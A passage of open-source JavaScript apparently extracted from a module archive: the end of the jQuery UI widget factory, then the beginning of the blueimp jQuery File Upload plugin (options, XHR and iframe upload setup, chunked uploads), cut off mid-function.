				this._super = __super;
				this._superApply = __superApply;

				return returnValue;
			};
		})();
	});
	constructor.prototype = $.widget.extend( basePrototype, {
		// TODO: remove support for widgetEventPrefix
		// always use the name + a colon as the prefix, e.g., draggable:start
		// don't prefix for widgets that aren't DOM-based
		widgetEventPrefix: existingConstructor ? (basePrototype.widgetEventPrefix || name) : name
	}, proxiedPrototype, {
		constructor: constructor,
		namespace: namespace,
		widgetName: name,
		widgetFullName: fullName
	});

	// If this widget is being redefined then we need to find all widgets that
	// are inheriting from it and redefine all of them so that they inherit from
	// the new version of this widget. We're essentially trying to replace one
	// level in the prototype chain.
	if ( existingConstructor ) {
		$.each( existingConstructor._childConstructors, function( i, child ) {
			var childPrototype = child.prototype;

			// redefine the child widget using the same prototype that was
			// originally used, but inherit from the new version of the base
			$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );
		});
		// remove the list of existing child constructors from the old constructor
		// so the old child constructors can be garbage collected
		delete existingConstructor._childConstructors;
	} else {
		base._childConstructors.push( constructor );
	}

	$.widget.bridge( name, constructor );

	return constructor;
};

$.widget.extend = function( target ) {
	var input = widget_slice.call( arguments, 1 ),
		inputIndex = 0,
		inputLength = input.length,
		key,
		value;
	for ( ; inputIndex < inputLength; inputIndex++ ) {
		for ( key in input[ inputIndex ] ) {
			value = input[ inputIndex ][ key ];
			if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
				// Clone objects
				if ( $.isPlainObject( value ) ) {
					target[ key ] = $.isPlainObject( target[ key ] ) ?
						$.widget.extend( {}, target[ key ], value ) :
						// Don't extend strings, arrays, etc. with objects
						$.widget.extend( {}, value );
				// Copy everything else by reference
				} else {
					target[ key ] = value;
				}
			}
		}
	}
	return target;
};

$.widget.bridge = function( name, object ) {
	var fullName = object.prototype.widgetFullName || name;
	$.fn[ name ] = function( options ) {
		var isMethodCall = typeof options === "string",
			args = widget_slice.call( arguments, 1 ),
			returnValue = this;

		// allow multiple hashes to be passed on init
		options = !isMethodCall && args.length ?
			$.widget.extend.apply( null, [ options ].concat(args) ) :
			options;

		if ( isMethodCall ) {
			this.each(function() {
				var methodValue,
					instance = $.data( this, fullName );
				if ( options === "instance" ) {
					returnValue = instance;
					return false;
				}
				if ( !instance ) {
					return $.error( "cannot call methods on " + name + " prior to initialization; " +
						"attempted to call method '" + options + "'" );
				}
				if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) {
					return $.error( "no such method '" + options + "' for " + name + " widget instance" );
				}
				methodValue = instance[ options ].apply( instance, args );
				if ( methodValue !== instance && methodValue !== undefined ) {
					returnValue = methodValue && methodValue.jquery ?
						returnValue.pushStack( methodValue.get() ) :
						methodValue;
					return false;
				}
			});
		} else {
			this.each(function() {
				var instance = $.data( this, fullName );
				if ( instance ) {
					instance.option( options || {} );
					if ( instance._init ) {
						instance._init();
					}
				} else {
					$.data( this, fullName, new object( options, this ) );
				}
			});
		}

		return returnValue;
	};
};

$.Widget = function( /* options, element */ ) {};
$.Widget._childConstructors = [];

$.Widget.prototype = {
	widgetName: "widget",
	widgetEventPrefix: "",
	defaultElement: "<div>",
	options: {
		disabled: false,

		// callbacks
		create: null
	},
	_createWidget: function( options, element ) {
		element = $( element || this.defaultElement || this )[ 0 ];
		this.element = $( element );
		this.uuid = widget_uuid++;
		this.eventNamespace = "." + this.widgetName + this.uuid;
		this.options = $.widget.extend( {},
			this.options,
			this._getCreateOptions(),
			options );

		this.bindings = $();
		this.hoverable = $();
		this.focusable = $();

		if ( element !== this ) {
			$.data( element, this.widgetFullName, this );
			this._on( true, this.element, {
				remove: function( event ) {
					if ( event.target === element ) {
						this.destroy();
					}
				}
			});
			this.document = $( element.style ?
				// element within the document
				element.ownerDocument :
				// element is window or document
				element.document || element );
			this.window = $( this.document[0].defaultView || this.document[0].parentWindow );
		}

		this._create();
		this._trigger( "create", null, this._getCreateEventData() );
		this._init();
	},
	_getCreateOptions: $.noop,
	_getCreateEventData: $.noop,
	_create: $.noop,
	_init: $.noop,

	destroy: function() {
		this._destroy();
		// we can probably remove the unbind calls in 2.0
		// all event bindings should go through this._on()
		this.element
			.unbind( this.eventNamespace )
			.removeData( this.widgetFullName )
			// support: jquery <1.6.3
			// http://bugs.jquery.com/ticket/9413
			.removeData( $.camelCase( this.widgetFullName ) );
		this.widget()
			.unbind( this.eventNamespace )
			.removeAttr( "aria-disabled" )
			.removeClass(
				this.widgetFullName + "-disabled " +
				"ui-state-disabled" );

		// clean up events and states
		this.bindings.unbind( this.eventNamespace );
		this.hoverable.removeClass( "ui-state-hover" );
		this.focusable.removeClass( "ui-state-focus" );
	},
	_destroy: $.noop,

	widget: function() {
		return this.element;
	},

	option: function( key, value ) {
		var options = key,
			parts,
			curOption,
			i;

		if ( arguments.length === 0 ) {
			// don't return a reference to the internal hash
			return $.widget.extend( {}, this.options );
		}

		if ( typeof key === "string" ) {
			// handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
			options = {};
			parts = key.split( "." );
			key = parts.shift();
			if ( parts.length ) {
				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
				for ( i = 0; i < parts.length - 1; i++ ) {
					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
					curOption = curOption[ parts[ i ] ];
				}
				key = parts.pop();
				if ( arguments.length === 1 ) {
					return curOption[ key ] === undefined ? null : curOption[ key ];
				}
				curOption[ key ] = value;
			} else {
				if ( arguments.length === 1 ) {
					return this.options[ key ] === undefined ? null : this.options[ key ];
				}
				options[ key ] = value;
			}
		}

		this._setOptions( options );

		return this;
	},
	_setOptions: function( options ) {
		var key;

		for ( key in options ) {
			this._setOption( key, options[ key ] );
		}

		return this;
	},
	_setOption: function( key, value ) {
		this.options[ key ] = value;

		if ( key === "disabled" ) {
			this.widget()
				.toggleClass( this.widgetFullName + "-disabled", !!value );

			// If the widget is becoming disabled, then nothing is interactive
			if ( value ) {
				this.hoverable.removeClass( "ui-state-hover" );
				this.focusable.removeClass( "ui-state-focus" );
			}
		}

		return this;
	},

	enable: function() {
		return this._setOptions({ disabled: false });
	},
	disable: function() {
		return this._setOptions({ disabled: true });
	},

	_on: function( suppressDisabledCheck, element, handlers ) {
		var delegateElement,
			instance = this;

		// no suppressDisabledCheck flag, shuffle arguments
		if ( typeof suppressDisabledCheck !== "boolean" ) {
			handlers = element;
			element = suppressDisabledCheck;
			suppressDisabledCheck = false;
		}

		// no element argument, shuffle and use this.element
		if ( !handlers ) {
			handlers = element;
			element = this.element;
			delegateElement = this.widget();
		} else {
			element = delegateElement = $( element );
			this.bindings = this.bindings.add( element );
		}

		$.each( handlers, function( event, handler ) {
			function handlerProxy() {
				// allow widgets to customize the disabled handling
				// - disabled as an array instead of boolean
				// - disabled class as method for disabling individual parts
				if ( !suppressDisabledCheck &&
						( instance.options.disabled === true ||
							$( this ).hasClass( "ui-state-disabled" ) ) ) {
					return;
				}
				return ( typeof handler === "string" ? instance[ handler ] : handler )
					.apply( instance, arguments );
			}

			// copy the guid so direct unbinding works
			if ( typeof handler !== "string" ) {
				handlerProxy.guid = handler.guid =
					handler.guid || handlerProxy.guid || $.guid++;
			}

			var match = event.match( /^([\w:-]*)\s*(.*)$/ ),
				eventName = match[1] + instance.eventNamespace,
				selector = match[2];
			if ( selector ) {
				delegateElement.delegate( selector, eventName, handlerProxy );
			} else {
				element.bind( eventName, handlerProxy );
			}
		});
	},

	_off: function( element, eventName ) {
		eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) + this.eventNamespace;
		element.unbind( eventName ).undelegate( eventName );
	},

	_delay: function( handler, delay ) {
		function handlerProxy() {
			return ( typeof handler === "string" ? instance[ handler ] : handler )
				.apply( instance, arguments );
		}
		var instance = this;
		return setTimeout( handlerProxy, delay || 0 );
	},

	_hoverable: function( element ) {
		this.hoverable = this.hoverable.add( element );
		this._on( element, {
			mouseenter: function( event ) {
				$( event.currentTarget ).addClass( "ui-state-hover" );
			},
			mouseleave: function( event ) {
				$( event.currentTarget ).removeClass( "ui-state-hover" );
			}
		});
	},

	_focusable: function( element ) {
		this.focusable = this.focusable.add( element );
		this._on( element, {
			focusin: function( event ) {
				$( event.currentTarget ).addClass( "ui-state-focus" );
			},
			focusout: function( event ) {
				$( event.currentTarget ).removeClass( "ui-state-focus" );
			}
		});
	},

	_trigger: function( type, event, data ) {
		var prop, orig,
			callback = this.options[ type ];

		data = data || {};
		event = $.Event( event );
		event.type = ( type === this.widgetEventPrefix ?
			type :
			this.widgetEventPrefix + type ).toLowerCase();
		// the original event may come from any element
		// so we need to reset the target on the new event
		event.target = this.element[ 0 ];

		// copy original event properties over to the new event
		orig = event.originalEvent;
		if ( orig ) {
			for ( prop in orig ) {
				if ( !( prop in event ) ) {
					event[ prop ] = orig[ prop ];
				}
			}
		}

		this.element.trigger( event, data );
		return !( $.isFunction( callback ) &&
			callback.apply( this.element[0], [ event ].concat( data ) ) === false ||
			event.isDefaultPrevented() );
	}
};

$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
	$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
		if ( typeof options === "string" ) {
			options = { effect: options };
		}
		var hasOptions,
			effectName = !options ?
				method :
				options === true || typeof options === "number" ?
					defaultEffect :
					options.effect || defaultEffect;
		options = options || {};
		if ( typeof options === "number" ) {
			options = { duration: options };
		}
		hasOptions = !$.isEmptyObject( options );
		options.complete = callback;
		if ( options.delay ) {
			element.delay( options.delay );
		}
		if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
			element[ method ]( options );
		} else if ( effectName !== method && element[ effectName ] ) {
			element[ effectName ]( options.duration, options.easing, callback );
		} else {
			element.queue(function( next ) {
				$( this )[ method ]();
				if ( callback ) {
					callback.call( element[ 0 ] );
				}
				next();
			});
		}
	};
});

var widget = $.widget;



}));
PK!eg�g�Hmod_ap_smart_layerslider/admin/apuploader/upload/js/jquery.fileupload.jsnu&1i�/*
 * jQuery File Upload Plugin 5.42.1
 * https://github.com/blueimp/jQuery-File-Upload
 *
 * Copyright 2010, Sebastian Tschan
 * https://blueimp.net
 *
 * Licensed under the MIT license:
 * http://www.opensource.org/licenses/MIT
 */

/* jshint nomen:false */
/* global define, window, document, location, Blob, FormData */

(function (factory) {
    'use strict';
    if (typeof define === 'function' && define.amd) {
        // Register as an anonymous AMD module:
        define([
            'jquery',
            'jquery.ui.widget'
        ], factory);
    } else {
        // Browser globals:
        factory(window.jQuery);
    }
}(function ($) {
    'use strict';

    // Detect file input support, based on
    // http://viljamis.com/blog/2012/file-upload-support-on-mobile/
    $.support.fileInput = !(new RegExp(
        // Handle devices which give false positives for the feature detection:
        '(Android (1\\.[0156]|2\\.[01]))' +
            '|(Windows Phone (OS 7|8\\.0))|(XBLWP)|(ZuneWP)|(WPDesktop)' +
            '|(w(eb)?OSBrowser)|(webOS)' +
            '|(Kindle/(1\\.0|2\\.[05]|3\\.0))'
    ).test(window.navigator.userAgent) ||
        // Feature detection for all other devices:
        $('<input type="file">').prop('disabled'));

    // The FileReader API is not actually used, but works as feature detection,
    // as some Safari versions (5?) support XHR file uploads via the FormData API,
    // but not non-multipart XHR file uploads.
    // window.XMLHttpRequestUpload is not available on IE10, so we check for
    // window.ProgressEvent instead to detect XHR2 file upload capability:
    $.support.xhrFileUpload = !!(window.ProgressEvent && window.FileReader);
    $.support.xhrFormDataFileUpload = !!window.FormData;

    // Detect support for Blob slicing (required for chunked uploads):
    $.support.blobSlice = window.Blob && (Blob.prototype.slice ||
        Blob.prototype.webkitSlice || Blob.prototype.mozSlice);

    // Helper function to create drag handlers for dragover/dragenter/dragleave:
    function getDragHandler(type) {
        var isDragOver = type === 'dragover';
        return function (e) {
            e.dataTransfer = e.originalEvent && e.originalEvent.dataTransfer;
            var dataTransfer = e.dataTransfer;
            if (dataTransfer && $.inArray('Files', dataTransfer.types) !== -1 &&
                    this._trigger(
                        type,
                        $.Event(type, {delegatedEvent: e})
                    ) !== false) {
                e.preventDefault();
                if (isDragOver) {
                    dataTransfer.dropEffect = 'copy';
                }
            }
        };
    }

    // The fileupload widget listens for change events on file input fields defined
    // via fileInput setting and paste or drop events of the given dropZone.
    // In addition to the default jQuery Widget methods, the fileupload widget
    // exposes the "add" and "send" methods, to add or directly send files using
    // the fileupload API.
    // By default, files added via file input selection, paste, drag & drop or
    // "add" method are uploaded immediately, but it is possible to override
    // the "add" callback option to queue file uploads.
    $.widget('blueimp.fileupload', {

        options: {
            // The drop target element(s), by the default the complete document.
            // Set to null to disable drag & drop support:
            dropZone: $(document),
            // The paste target element(s), by the default undefined.
            // Set to a DOM node or jQuery object to enable file pasting:
            pasteZone: undefined,
            // The file input field(s), that are listened to for change events.
            // If undefined, it is set to the file input fields inside
            // of the widget element on plugin initialization.
            // Set to null to disable the change listener.
            fileInput: undefined,
            // By default, the file input field is replaced with a clone after
            // each input field change event. This is required for iframe transport
            // queues and allows change events to be fired for the same file
            // selection, but can be disabled by setting the following option to false:
            replaceFileInput: true,
            // The parameter name for the file form data (the request argument name).
            // If undefined or empty, the name property of the file input field is
            // used, or "files[]" if the file input name property is also empty,
            // can be a string or an array of strings:
            paramName: undefined,
            // By default, each file of a selection is uploaded using an individual
            // request for XHR type uploads. Set to false to upload file
            // selections in one request each:
            singleFileUploads: true,
            // To limit the number of files uploaded with one XHR request,
            // set the following option to an integer greater than 0:
            limitMultiFileUploads: undefined,
            // The following option limits the number of files uploaded with one
            // XHR request to keep the request size under or equal to the defined
            // limit in bytes:
            limitMultiFileUploadSize: undefined,
            // Multipart file uploads add a number of bytes to each uploaded file,
            // therefore the following option adds an overhead for each file used
            // in the limitMultiFileUploadSize configuration:
            limitMultiFileUploadSizeOverhead: 512,
            // Set the following option to true to issue all file upload requests
            // in a sequential order:
            sequentialUploads: false,
            // To limit the number of concurrent uploads,
            // set the following option to an integer greater than 0:
            limitConcurrentUploads: undefined,
            // Set the following option to true to force iframe transport uploads:
            forceIframeTransport: false,
            // Set the following option to the location of a redirect url on the
            // origin server, for cross-domain iframe transport uploads:
            redirect: undefined,
            // The parameter name for the redirect url, sent as part of the form
            // data and set to 'redirect' if this option is empty:
            redirectParamName: undefined,
            // Set the following option to the location of a postMessage window,
            // to enable postMessage transport uploads:
            postMessage: undefined,
            // By default, XHR file uploads are sent as multipart/form-data.
            // The iframe transport is always using multipart/form-data.
            // Set to false to enable non-multipart XHR uploads:
            multipart: true,
            // To upload large files in smaller chunks, set the following option
            // to a preferred maximum chunk size. If set to 0, null or undefined,
            // or the browser does not support the required Blob API, files will
            // be uploaded as a whole.
            maxChunkSize: undefined,
            // When a non-multipart upload or a chunked multipart upload has been
            // aborted, this option can be used to resume the upload by setting
            // it to the size of the already uploaded bytes. This option is most
            // useful when modifying the options object inside of the "add" or
            // "send" callbacks, as the options are cloned for each file upload.
            uploadedBytes: undefined,
            // By default, failed (abort or error) file uploads are removed from the
            // global progress calculation. Set the following option to false to
            // prevent recalculating the global progress data:
            recalculateProgress: true,
            // Interval in milliseconds to calculate and trigger progress events:
            progressInterval: 100,
            // Interval in milliseconds to calculate progress bitrate:
            bitrateInterval: 500,
            // By default, uploads are started automatically when adding files:
            autoUpload: true,

            // Error and info messages:
            messages: {
                uploadedBytes: 'Uploaded bytes exceed file size'
            },

            // Translation function, gets the message key to be translated
            // and an object with context specific data as arguments:
            i18n: function (message, context) {
                message = this.messages[message] || message.toString();
                if (context) {
                    $.each(context, function (key, value) {
                        message = message.replace('{' + key + '}', value);
                    });
                }
                return message;
            },

            // Additional form data to be sent along with the file uploads can be set
            // using this option, which accepts an array of objects with name and
            // value properties, a function returning such an array, a FormData
            // object (for XHR file uploads), or a simple object.
            // The form of the first fileInput is given as parameter to the function:
            formData: function (form) {
                return form.serializeArray();
            },

            // The add callback is invoked as soon as files are added to the fileupload
            // widget (via file input selection, drag & drop, paste or add API call).
            // If the singleFileUploads option is enabled, this callback will be
            // called once for each file in the selection for XHR file uploads, else
            // once for each file selection.
            //
            // The upload starts when the submit method is invoked on the data parameter.
            // The data object contains a files property holding the added files
            // and allows you to override plugin options as well as define ajax settings.
            //
            // Listeners for this callback can also be bound the following way:
            // .bind('fileuploadadd', func);
            //
            // data.submit() returns a Promise object and allows to attach additional
            // handlers using jQuery's Deferred callbacks:
            // data.submit().done(func).fail(func).always(func);
            add: function (e, data) {
                if (e.isDefaultPrevented()) {
                    return false;
                }
                if (data.autoUpload || (data.autoUpload !== false &&
                        $(this).fileupload('option', 'autoUpload'))) {
                    data.process().done(function () {
                        data.submit();
                    });
                }
            },

            // Other callbacks:

            // Callback for the submit event of each file upload:
            // submit: function (e, data) {}, // .bind('fileuploadsubmit', func);

            // Callback for the start of each file upload request:
            // send: function (e, data) {}, // .bind('fileuploadsend', func);

            // Callback for successful uploads:
            // done: function (e, data) {}, // .bind('fileuploaddone', func);

            // Callback for failed (abort or error) uploads:
            // fail: function (e, data) {}, // .bind('fileuploadfail', func);

            // Callback for completed (success, abort or error) requests:
            // always: function (e, data) {}, // .bind('fileuploadalways', func);

            // Callback for upload progress events:
            // progress: function (e, data) {}, // .bind('fileuploadprogress', func);

            // Callback for global upload progress events:
            // progressall: function (e, data) {}, // .bind('fileuploadprogressall', func);

            // Callback for uploads start, equivalent to the global ajaxStart event:
            // start: function (e) {}, // .bind('fileuploadstart', func);

            // Callback for uploads stop, equivalent to the global ajaxStop event:
            // stop: function (e) {}, // .bind('fileuploadstop', func);

            // Callback for change events of the fileInput(s):
            // change: function (e, data) {}, // .bind('fileuploadchange', func);

            // Callback for paste events to the pasteZone(s):
            // paste: function (e, data) {}, // .bind('fileuploadpaste', func);

            // Callback for drop events of the dropZone(s):
            // drop: function (e, data) {}, // .bind('fileuploaddrop', func);

            // Callback for dragover events of the dropZone(s):
            // dragover: function (e) {}, // .bind('fileuploaddragover', func);

            // Callback for the start of each chunk upload request:
            // chunksend: function (e, data) {}, // .bind('fileuploadchunksend', func);

            // Callback for successful chunk uploads:
            // chunkdone: function (e, data) {}, // .bind('fileuploadchunkdone', func);

            // Callback for failed (abort or error) chunk uploads:
            // chunkfail: function (e, data) {}, // .bind('fileuploadchunkfail', func);

            // Callback for completed (success, abort or error) chunk upload requests:
            // chunkalways: function (e, data) {}, // .bind('fileuploadchunkalways', func);

            // The plugin options are used as settings object for the ajax calls.
            // The following are jQuery ajax settings required for the file uploads:
            processData: false,
            contentType: false,
            cache: false
        },

        // A list of options that require reinitializing event listeners and/or
        // special initialization code:
        _specialOptions: [
            'fileInput',
            'dropZone',
            'pasteZone',
            'multipart',
            'forceIframeTransport'
        ],

        _blobSlice: $.support.blobSlice && function () {
            var slice = this.slice || this.webkitSlice || this.mozSlice;
            return slice.apply(this, arguments);
        },

        _BitrateTimer: function () {
            this.timestamp = ((Date.now) ? Date.now() : (new Date()).getTime());
            this.loaded = 0;
            this.bitrate = 0;
            this.getBitrate = function (now, loaded, interval) {
                var timeDiff = now - this.timestamp;
                if (!this.bitrate || !interval || timeDiff > interval) {
                    this.bitrate = (loaded - this.loaded) * (1000 / timeDiff) * 8;
                    this.loaded = loaded;
                    this.timestamp = now;
                }
                return this.bitrate;
            };
        },

        _isXHRUpload: function (options) {
            return !options.forceIframeTransport &&
                ((!options.multipart && $.support.xhrFileUpload) ||
                $.support.xhrFormDataFileUpload);
        },

        _getFormData: function (options) {
            var formData;
            if ($.type(options.formData) === 'function') {
                return options.formData(options.form);
            }
            if ($.isArray(options.formData)) {
                return options.formData;
            }
            if ($.type(options.formData) === 'object') {
                formData = [];
                $.each(options.formData, function (name, value) {
                    formData.push({name: name, value: value});
                });
                return formData;
            }
            return [];
        },

        _getTotal: function (files) {
            var total = 0;
            $.each(files, function (index, file) {
                total += file.size || 1;
            });
            return total;
        },

        _initProgressObject: function (obj) {
            var progress = {
                loaded: 0,
                total: 0,
                bitrate: 0
            };
            if (obj._progress) {
                $.extend(obj._progress, progress);
            } else {
                obj._progress = progress;
            }
        },

        _initResponseObject: function (obj) {
            var prop;
            if (obj._response) {
                for (prop in obj._response) {
                    if (obj._response.hasOwnProperty(prop)) {
                        delete obj._response[prop];
                    }
                }
            } else {
                obj._response = {};
            }
        },

        _onProgress: function (e, data) {
            if (e.lengthComputable) {
                var now = ((Date.now) ? Date.now() : (new Date()).getTime()),
                    loaded;
                if (data._time && data.progressInterval &&
                        (now - data._time < data.progressInterval) &&
                        e.loaded !== e.total) {
                    return;
                }
                data._time = now;
                loaded = Math.floor(
                    e.loaded / e.total * (data.chunkSize || data._progress.total)
                ) + (data.uploadedBytes || 0);
                // Add the difference from the previously loaded state
                // to the global loaded counter:
                this._progress.loaded += (loaded - data._progress.loaded);
                this._progress.bitrate = this._bitrateTimer.getBitrate(
                    now,
                    this._progress.loaded,
                    data.bitrateInterval
                );
                data._progress.loaded = data.loaded = loaded;
                data._progress.bitrate = data.bitrate = data._bitrateTimer.getBitrate(
                    now,
                    loaded,
                    data.bitrateInterval
                );
                // Trigger a custom progress event with a total data property set
                // to the file size(s) of the current upload and a loaded data
                // property calculated accordingly:
                this._trigger(
                    'progress',
                    $.Event('progress', {delegatedEvent: e}),
                    data
                );
                // Trigger a global progress event for all current file uploads,
                // including ajax calls queued for sequential file uploads:
                this._trigger(
                    'progressall',
                    $.Event('progressall', {delegatedEvent: e}),
                    this._progress
                );
            }
        },

        _initProgressListener: function (options) {
            var that = this,
                xhr = options.xhr ? options.xhr() : $.ajaxSettings.xhr();
            // Accesss to the native XHR object is required to add event listeners
            // for the upload progress event:
            if (xhr.upload) {
                $(xhr.upload).bind('progress', function (e) {
                    var oe = e.originalEvent;
                    // Make sure the progress event properties get copied over:
                    e.lengthComputable = oe.lengthComputable;
                    e.loaded = oe.loaded;
                    e.total = oe.total;
                    that._onProgress(e, options);
                });
                options.xhr = function () {
                    return xhr;
                };
            }
        },

        _isInstanceOf: function (type, obj) {
            // Cross-frame instanceof check
            return Object.prototype.toString.call(obj) === '[object ' + type + ']';
        },

        _initXHRData: function (options) {
            var that = this,
                formData,
                file = options.files[0],
                // Ignore non-multipart setting if not supported:
                multipart = options.multipart || !$.support.xhrFileUpload,
                paramName = $.type(options.paramName) === 'array' ?
                    options.paramName[0] : options.paramName;
            options.headers = $.extend({}, options.headers);
            if (options.contentRange) {
                options.headers['Content-Range'] = options.contentRange;
            }
            if (!multipart || options.blob || !this._isInstanceOf('File', file)) {
                options.headers['Content-Disposition'] = 'attachment; filename="' +
                    encodeURI(file.name) + '"';
            }
            if (!multipart) {
                options.contentType = file.type || 'application/octet-stream';
                options.data = options.blob || file;
            } else if ($.support.xhrFormDataFileUpload) {
                if (options.postMessage) {
                    // window.postMessage does not allow sending FormData
                    // objects, so we just add the File/Blob objects to
                    // the formData array and let the postMessage window
                    // create the FormData object out of this array:
                    formData = this._getFormData(options);
                    if (options.blob) {
                        formData.push({
                            name: paramName,
                            value: options.blob
                        });
                    } else {
                        $.each(options.files, function (index, file) {
                            formData.push({
                                name: ($.type(options.paramName) === 'array' &&
                                    options.paramName[index]) || paramName,
                                value: file
                            });
                        });
                    }
                } else {
                    if (that._isInstanceOf('FormData', options.formData)) {
                        formData = options.formData;
                    } else {
                        formData = new FormData();
                        $.each(this._getFormData(options), function (index, field) {
                            formData.append(field.name, field.value);
                        });
                    }
                    if (options.blob) {
                        formData.append(paramName, options.blob, file.name);
                    } else {
                        $.each(options.files, function (index, file) {
                            // This check allows the tests to run with
                            // dummy objects:
                            if (that._isInstanceOf('File', file) ||
                                    that._isInstanceOf('Blob', file)) {
                                formData.append(
                                    ($.type(options.paramName) === 'array' &&
                                        options.paramName[index]) || paramName,
                                    file,
                                    file.uploadName || file.name
                                );
                            }
                        });
                    }
                }
                options.data = formData;
            }
            // Blob reference is not needed anymore, free memory:
            options.blob = null;
        },

        _initIframeSettings: function (options) {
            var targetHost = $('<a></a>').prop('href', options.url).prop('host');
            // Setting the dataType to iframe enables the iframe transport:
            options.dataType = 'iframe ' + (options.dataType || '');
            // The iframe transport accepts a serialized array as form data:
            options.formData = this._getFormData(options);
            // Add redirect url to form data on cross-domain uploads:
            if (options.redirect && targetHost && targetHost !== location.host) {
                options.formData.push({
                    name: options.redirectParamName || 'redirect',
                    value: options.redirect
                });
            }
        },

        _initDataSettings: function (options) {
            if (this._isXHRUpload(options)) {
                if (!this._chunkedUpload(options, true)) {
                    if (!options.data) {
                        this._initXHRData(options);
                    }
                    this._initProgressListener(options);
                }
                if (options.postMessage) {
                    // Setting the dataType to postmessage enables the
                    // postMessage transport:
                    options.dataType = 'postmessage ' + (options.dataType || '');
                }
            } else {
                this._initIframeSettings(options);
            }
        },

        _getParamName: function (options) {
            var fileInput = $(options.fileInput),
                paramName = options.paramName;
            if (!paramName) {
                paramName = [];
                fileInput.each(function () {
                    var input = $(this),
                        name = input.prop('name') || 'files[]',
                        i = (input.prop('files') || [1]).length;
                    while (i) {
                        paramName.push(name);
                        i -= 1;
                    }
                });
                if (!paramName.length) {
                    paramName = [fileInput.prop('name') || 'files[]'];
                }
            } else if (!$.isArray(paramName)) {
                paramName = [paramName];
            }
            return paramName;
        },

        _initFormSettings: function (options) {
            // Retrieve missing options from the input field and the
            // associated form, if available:
            if (!options.form || !options.form.length) {
                options.form = $(options.fileInput.prop('form'));
                // If the given file input doesn't have an associated form,
                // use the default widget file input's form:
                if (!options.form.length) {
                    options.form = $(this.options.fileInput.prop('form'));
                }
            }
            options.paramName = this._getParamName(options);
            if (!options.url) {
                options.url = options.form.prop('action') || location.href;
            }
            // The HTTP request method must be "POST" or "PUT":
            options.type = (options.type ||
                ($.type(options.form.prop('method')) === 'string' &&
                    options.form.prop('method')) || ''
                ).toUpperCase();
            if (options.type !== 'POST' && options.type !== 'PUT' &&
                    options.type !== 'PATCH') {
                options.type = 'POST';
            }
            if (!options.formAcceptCharset) {
                options.formAcceptCharset = options.form.attr('accept-charset');
            }
        },

        _getAJAXSettings: function (data) {
            var options = $.extend({}, this.options, data);
            this._initFormSettings(options);
            this._initDataSettings(options);
            return options;
        },

        // jQuery 1.6 doesn't provide .state(),
        // while jQuery 1.8+ removed .isRejected() and .isResolved():
        _getDeferredState: function (deferred) {
            if (deferred.state) {
                return deferred.state();
            }
            if (deferred.isResolved()) {
                return 'resolved';
            }
            if (deferred.isRejected()) {
                return 'rejected';
            }
            return 'pending';
        },

        // Maps jqXHR callbacks to the equivalent
        // methods of the given Promise object:
        _enhancePromise: function (promise) {
            promise.success = promise.done;
            promise.error = promise.fail;
            promise.complete = promise.always;
            return promise;
        },

        // Creates and returns a Promise object enhanced with
        // the jqXHR methods abort, success, error and complete:
        _getXHRPromise: function (resolveOrReject, context, args) {
            var dfd = $.Deferred(),
                promise = dfd.promise();
            context = context || this.options.context || promise;
            if (resolveOrReject === true) {
                dfd.resolveWith(context, args);
            } else if (resolveOrReject === false) {
                dfd.rejectWith(context, args);
            }
            promise.abort = dfd.promise;
            return this._enhancePromise(promise);
        },

        // Adds convenience methods to the data callback argument:
        _addConvenienceMethods: function (e, data) {
            var that = this,
                getPromise = function (args) {
                    return $.Deferred().resolveWith(that, args).promise();
                };
            data.process = function (resolveFunc, rejectFunc) {
                if (resolveFunc || rejectFunc) {
                    data._processQueue = this._processQueue =
                        (this._processQueue || getPromise([this])).pipe(
                            function () {
                                if (data.errorThrown) {
                                    return $.Deferred()
                                        .rejectWith(that, [data]).promise();
                                }
                                return getPromise(arguments);
                            }
                        ).pipe(resolveFunc, rejectFunc);
                }
                return this._processQueue || getPromise([this]);
            };
            data.submit = function () {
                if (this.state() !== 'pending') {
                    data.jqXHR = this.jqXHR =
                        (that._trigger(
                            'submit',
                            $.Event('submit', {delegatedEvent: e}),
                            this
                        ) !== false) && that._onSend(e, this);
                }
                return this.jqXHR || that._getXHRPromise();
            };
            data.abort = function () {
                if (this.jqXHR) {
                    return this.jqXHR.abort();
                }
                this.errorThrown = 'abort';
                that._trigger('fail', null, this);
                return that._getXHRPromise(false);
            };
            data.state = function () {
                if (this.jqXHR) {
                    return that._getDeferredState(this.jqXHR);
                }
                if (this._processQueue) {
                    return that._getDeferredState(this._processQueue);
                }
            };
            data.processing = function () {
                return !this.jqXHR && this._processQueue && that
                    ._getDeferredState(this._processQueue) === 'pending';
            };
            data.progress = function () {
                return this._progress;
            };
            data.response = function () {
                return this._response;
            };
        },

        // Parses the Range header from the server response
        // and returns the uploaded bytes:
        _getUploadedBytes: function (jqXHR) {
            var range = jqXHR.getResponseHeader('Range'),
                parts = range && range.split('-'),
                upperBytesPos = parts && parts.length > 1 &&
                    parseInt(parts[1], 10);
            return upperBytesPos && upperBytesPos + 1;
        },

        // Uploads a file in multiple, sequential requests
        // by splitting the file up in multiple blob chunks.
        // If the second parameter is true, only tests if the file
        // should be uploaded in chunks, but does not invoke any
        // upload requests:
        _chunkedUpload: function (options, testOnly) {
            options.uploadedBytes = options.uploadedBytes || 0;
            var that = this,
                file = options.files[0],
                fs = file.size,
                ub = options.uploadedBytes,
                mcs = options.maxChunkSize || fs,
                slice = this._blobSlice,
                dfd = $.Deferred(),
                promise = dfd.promise(),
                jqXHR,
                upload;
            if (!(this._isXHRUpload(options) && slice && (ub || mcs < fs)) ||
                    options.data) {
                return false;
            }
            if (testOnly) {
                return true;
            }
            if (ub >= fs) {
                file.error = options.i18n('uploadedBytes');
                return this._getXHRPromise(
                    false,
                    options.context,
                    [null, 'error', file.error]
                );
            }
            // The chunk upload method:
            upload = function () {
                // Clone the options object for each chunk upload:
                var o = $.extend({}, options),
                    currentLoaded = o._progress.loaded;
                o.blob = slice.call(
                    file,
                    ub,
                    ub + mcs,
                    file.type
                );
                // Store the current chunk size, as the blob itself
                // will be dereferenced after data processing:
                o.chunkSize = o.blob.size;
                // Expose the chunk bytes position range:
